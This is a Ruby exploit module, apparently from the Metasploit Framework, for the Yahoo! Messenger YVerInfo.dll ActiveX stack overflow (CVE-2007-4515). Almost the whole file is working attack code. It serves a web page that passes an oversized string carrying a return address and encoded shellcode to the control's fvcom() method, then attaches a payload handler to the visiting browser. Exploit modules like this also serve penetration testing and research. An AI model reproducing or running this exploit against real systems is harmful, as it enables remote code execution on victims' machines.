2007-10-01 10:58:50 +00:00
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##
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2008-04-21 05:27:06 +00:00
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# $Id$
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2007-10-01 10:58:50 +00:00
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Browser::YahooMessenger_Fvcom < Msf::Exploit::Remote
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include Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the Yahoo! Messenger ActiveX
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Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string
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to the "fvCom()" method from a yahoo.com domain, an attacker may be able
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to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-4515' ],
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[ 'BID', '25494' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], # Tested on fully patched XPSP2 9/29/07
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],
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'DisclosureDate' => 'Aug 30 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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sploit = rand_text_english(411) + [target.ret].pack('V')
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sploit << p.encoded + rand_text_english(payload.encoded.length)
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# Build out the message
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content = %Q|
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<html>
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<object classid='clsid:D5184A39-CBDF-4A4F-AC1A-7A45A852C883' id='#{vname}'></object>
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<script language='javascript'>
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#{strname} = new String('#{sploit}');
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#{vname}.fvcom(#{strname});
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</script>
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</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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end
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